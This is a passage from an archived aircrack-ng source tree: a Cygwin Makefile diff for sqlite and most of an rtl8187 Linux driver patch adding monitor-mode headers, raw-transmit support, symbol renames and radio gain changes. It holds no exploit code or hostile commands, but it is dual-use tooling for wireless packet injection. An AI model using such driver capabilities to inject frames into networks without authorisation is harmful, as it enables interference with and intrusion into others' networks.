pAdapter->net_dev->type = 801; // ARPHRD_IEEE80211 + } else if (!value) + { pAdapter->PortCfg.MallowRFMONTx = FALSE; + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM + } else return -EINVAL; } aircrack-ng-1.2-beta3/patches/old/sqlite-3.5.4-lib_cygwin.diff0000644000000000000000000000117010770555330022364 0ustar rootroot--- Makefile.ori 2007-12-19 00:53:49.859375000 +0100 +++ Makefile 2007-12-19 00:55:36.031250000 +0100 @@ -581,11 +581,10 @@ libtclsqlite3.la $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(exec_prefix)/bin $(INSTALL) -d $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(prefix)/include aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.21v2.patch0000644000000000000000000116407610761053203020700 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211_crypt.h rtl8187_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_orig/beta-8187/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211_crypt.h 2007-06-08 23:30:29.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-06-08 23:30:29.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-06-08 23:30:33.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-06-08 23:30:29.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-06-08 23:30:33.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-06-08 23:30:29.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-06-08 23:30:33.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 0 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 